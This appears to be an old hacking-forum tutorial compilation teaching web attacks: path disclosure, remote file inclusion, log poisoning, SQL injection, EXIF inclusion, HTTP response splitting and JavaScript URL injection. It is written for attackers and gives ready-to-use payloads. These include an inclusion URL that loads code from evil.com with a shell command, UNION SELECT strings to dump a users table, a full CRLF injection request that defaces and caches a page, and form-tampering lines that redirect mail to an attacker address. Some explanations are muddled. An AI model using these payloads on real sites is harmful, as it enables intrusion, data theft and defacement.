Internet Exploits

.:::.Contents.:::.
0. Introduction
1. Full Path Disclosure
2. RCE
3. Log Posioning
4. SQL Injection
5. EXIF

0. Introduction
I will be covering RCE in this one and also going over SQL injections. Also note that there are other ways of performing these vulnerabilities, these are just examples trying to demonstrate how they can be used or exploited.

1. Full Path Disclosure
Full Path Disclosure by itself is not very powerful, but is very effective when trying to find out more information about the target server while performing other hacks, such as LFI (refer to prior article). Basically, a full path disclosure is displaying to the attacker the exact location of the current file, which in turn could be used to better navigate through the site or server. If an example site, vulnerable to this, had a link such as http://www.site.com/index.php?page=home and we changed
index.php?page=home to index.php?page=asdf hopefully there will not be a file named "asdf" in the current directory which will display an error such as

CODE :
Warning: main(asdf) [function.main]: failed to open stream: No such file or direcotyr in
/home/something/site/blah/index.php on line 28


now that we have this message we know exactly how many directories we are from the root directory and could possibly have a better feel for how the server is setup.

2. RCE
RCE stands for Remote Code Execution, which is a type of RFI mixed with a type of advanced XSS :-P. To perform RCE attacks you need to use PHP function such as passthru() or eval() (these are the only two i know of please someone say if you know of others). passthru() executes external code and displays the output; eval() simply takes in a statement or string and executes it as PHP code.

example:
CODE :


http://www.target.com/index.php?page=http://www.evil.com/code.txt?cmd=ls

3. Log Poisoning
Log Poisoning is, in a way, like RCE since you execute your own code. Log poisoning consists of a site that is vulnerable to LFI that also records visitors information such as user agent and IP. Typically when a site logs a visitors information they keep it in fairly obvious places such as /logs/. Once such a site is located an attacker checks to see what information is logged then begins to take action. If a visitors user agent is indeed logged then the attacker could possibly change their user agent to PHP code on the about:config page in Mozilla FireFox or a program/plug-in previously downloaded. Once the attacker has input their code into the useragent then they just visit the site again so the new information is now logged. Once the log has been updated the attacker must navigate the LFI vulnerable page to the log file so that it will be included into the page then executed. A simple thing an attacker can do with this for example is make their own RFI vulnerability which then leads to even more things to do.

4. SQL Injection
SQL is used for databases such as users or products and typically holds all the information about each entity such as username, password, email, product name, cost, id number, etc. Usually an easy way to check if a site uses SQL is if they have things such as http://target.com/index.php?id=1 or something similar to that in their url so to check just add something like http://target.com/index.php?id=1' and 1=0-- this is just making the statement always return false which as long as the page is using SQL will not output correctly. Once the attacker has reached a page that is vulnerable they can then check to see how many columns the current table actually has. This is done by doing something like http://target.com/index.php?id=1 order by x-- where x represents a number being increased until you receive an error, the number before your error is the number of columns in the current table. Once the attacker knows the amount of columns they can check to see how the information is printed on the screen; for example if our current table has 4 columns we could do something such as http://target.com/index.php?id=-1 union all select 1,2,3,4-- we use the -1 so no actual user or product information is printed with our check, the union all select is an SQL statement that combines the output of two separate tables. The attacker must know the amount of columns because to combine the output of two seperate tables the output
has to be the same(shown later). Once we know the output format we can execute other things such as output from other tables. Sites often use names for user tables such as "users" or something similar surprisingly, if this is the case and the second and third columns are displayed we could do something such as http://target.com/index.php?id=-1 union all select null, *, null from users-- notice the nulls
in columns one and four; this is because of what i said earlier about the matching amount of columns (assuming the users table only contains two columns which would then give a total of four columns in our new statement) the asterisks (*) is to include everything from the table. So the previous example statement will include everything in the users table with everything in the current table being used on the index.php page with the id of -1 which hopefully will not have any data. An easy way to get an idea of how many columns the user table has; just simply look at a registration form or possibly a users profile and count the number of areas on that page this will typically give you a decent idea.

5. EXIF
The EXIF vulnerability is yet another inclusion exploit. Again, for the EXIF vulnerability the victim site needs to have a page vulnerable to LFI but also needs an area that allows the attacker to upload images such as a forum or user avatars. In order to exploit this vulnerability the attacker needs to insert code in a misc image using a program such as jpegcommenter then simply save and upload the new image
to the vulnerable site and view where the image is saved. Once the url to the image is known the attacker can then continue with the LFI attack, and include the image file which will then execute the malicious code within the image comment.

HTTP Response Splitting

How to inject malicious HTML to a servers HTTP Response Headers to deface the site allowing for credential theft etc, and cache the page to keep the defacement on the victims computer

.

HTTP Response Splitting is a fairly new type of Web App security vulnerability. The idea behind it is, you find a website that takes user submitted data, and writes it to the HTTP header. An example of this is a Location: redirect. Heres the PHP code that takes a website, and redirects you to it.

http://site.com/redirect.php?page=http://www.google.com
CODE :

header("Location: $_GET['page']");
?>

As you can see, the 'page' variable is passed to the Location header to redirect the user. Heres what the request and reply headers look like:

Request:
CODE :

GET /index.php?page=http://www.google.com\r\n
HTTP/1.1\r\n
Host: site.com\r\n
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n

Reply: (302 Redirect)
CODE :

HTTP/1.1 302 Found\r\n
Date: Tue, 02 Oct 2007 1:40:00 GMT\r\n
Server: Apache/0.0.0 (Windows) PHP/0.0.0
Location: http://www.google.com\r\n
The users fake headers will be here
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html\r\n
\r\n

Now the server sends you to the requested URL (google.com):
CODE :

GET / HTTP/1.1
Host: www.google.com
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

The server will respond with a 200 Found response and show you the requested document, Google.com. Hopefully you noticed whats at the end of each line.
\r\n
Which is also represented as:
CR LF and,
%0d %0a

So, you should know how to fake headers. Basically, if you inject a CR LF in the header, you can inject your own and you have your attack. Now, what can be accomplished with this? Well, you can re-write the page. Allowing for XSS, HTML Injection, and you can even tell the browser to cache your 'defaced' page by setting either,
Last-Modified:
Cache-Control: or,
Pragma
To a date ahead of the current.

So, lets inject our own headers to rewrite the page and tell the browser to cache it.

Our Injection:
CODE :

\r\n
Content-Type: text/html\r\n
HTTP/1.1 OK\r\n
Content-Type: text/html\r\n
Last-Modified: 5 Oct 12:00:00 GMT\r\n
\r\n

Defaced!

Heres what the request and reply headers look like:

Request:
CODE :

GET /index.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-
Modified:%20Tue,%205%20Oct%202007%2012:00:00%20GMT%0d%0a%0d%0a%3Chtml%3E%3Ch1%3EDefaced!%3C/html%3E\r\n
HTTP/1.1\r\n
Host: http://site.com\r\n
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n

Response: (302 Found)
CODE :

HTTP/1.1 302 Found
Normal header here
Date: Tue, 02 Oct 2007 1:40:00 GMT\r\n
Server: Apache/0.0.0 (Windows) PHP/0.0.0
Location:
Content-Type: text/html
HTTP/1.1 200 OK
Our response has been injected here
Content-Type: text/html

Defaced!

Our above code gets shown as the redirected page
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

As you can see in the example above, the server runs the normal 302 response, then, our injected code gets placed instead of the redirect which will cause it to show on the page. Allowing for the payload of our choice. And as a bonus, it gets cached until the 5'th of October ;)
So up until that day, providing they don't clear their cache, they will see the defaced page.

Now, to protect yourself against this attack, be sure to sanitize input against:
CR LF
\r\n and,
%0d%0a
And any other forms of encoding for these characters before parsing them to the HTTP Headers.

Javascript Injection

Javascript injection is a good little technique that allows you to alter a sites contents without actually leaving the site.

Contents:
I. Injection Basics
II. Cookie Editing
III. Form Editing


I. Injection Basics

Javascript injections are run from the URL bar of the page you are visiting. To use them, you must first completly empty the URL from the URL bar. That means no http:// or whatever.

Javascript is run from the URL bar by using the javascript: protocol. In this tutorial I will only teach you the real basics of using it

The two commands covered in this tutorial are the alert(); and void(); commands. These are pretty much all you will need in most situations. For your first javascript, you will make a simple window appear, first go to any website and then type the following into your URL bar:

Code:
javascript:alert('Hello, World');

You should get a little dialog box that says "Hello, World". This will be altered later to have more practical uses.

You can also have more than one command run at the same time:

Code:
javascript:alert('Hello'); alert('World');

This would pop up a box that said 'Hello' and than another that says 'World'.

II. Cookie Editing

First off, check to see if the site you are visiting has set any cookies by using this script:

Code:
javascript:alert(document.cookie);

This will pop up any information stored in the sites cookies. To edit any information, we make use of the void(); command.

Code:
javascript:void(document.cookie="Field = myValue");

This command can either alter existing information or create entirely new values. Replace "Field" with either an existing field found using the alert(document.cookie); command, or insert your very own value. Then replace "myValue" with whatever you want the field to be. For example:

Code:
javascript:void(document.cookie="Authorized=yes");

Would either make the field "authorized" or edit it to say "yes"... now wheter or not this does anything of value depends on the site you are injecting it on.

It is also usefull to tack an alert(document.cookie); at the end of the same line to see what effect your altering had.

III. Form Editing

Sometimes, to edit values sent to a given website through a form, you can simply download that html and edit it slightly to allow you to submit what you want. However, sometimes the website checks to see if you actually submitted it from the website you were supposed to. To get around this, we can just edit the form straight from javascript. Note: The changes are only temporary, so it's no tuse trying to deface a site through javascript injection like this.

Every form on a given webpage (unless named otherwise) is stored in the forms[x] array... where "x" is the number, in order from top to bottom, of all the forms in a page. Note that the forms start at 0, so the first form on the page would actually be 0, and the second would be 1 and so on. Lets take this example:

Code:

Note:Since this is the first form on the page, it is forms[0]

Say this form was used to email, say vital server information to the admin of the website. You can't just download the script and edit it because the submit.php page looks for a referer. You can check to see what value a certain form element has by using this script:

Code:
javascript:alert(document.forms[0].to.value)

This is similar to the alert(document.cookie); from earlier. This time, It would pop up an alert that says "admin@website.com"

So here's how to Inject your email into it. You can use pretty much the same technique as the cookies editing shown earlier:

Code:
javascript:void(document.forms[0].to.value="email@ihack.com")

This would change the email of the form to be "email@nhacks.com". Then you could use the alert(); script shown above to check your work. Or you can couple both of these commands on one line.

Viewing page source (BASIC)

Firstly you can right click on the site then click "view page source" or just "view source", from here you can view the coding for the site. Some old sites have passwords hidden on here so just press "control + f" on your keyboard and search for the password. The password is unlikely to be here but its worth a try.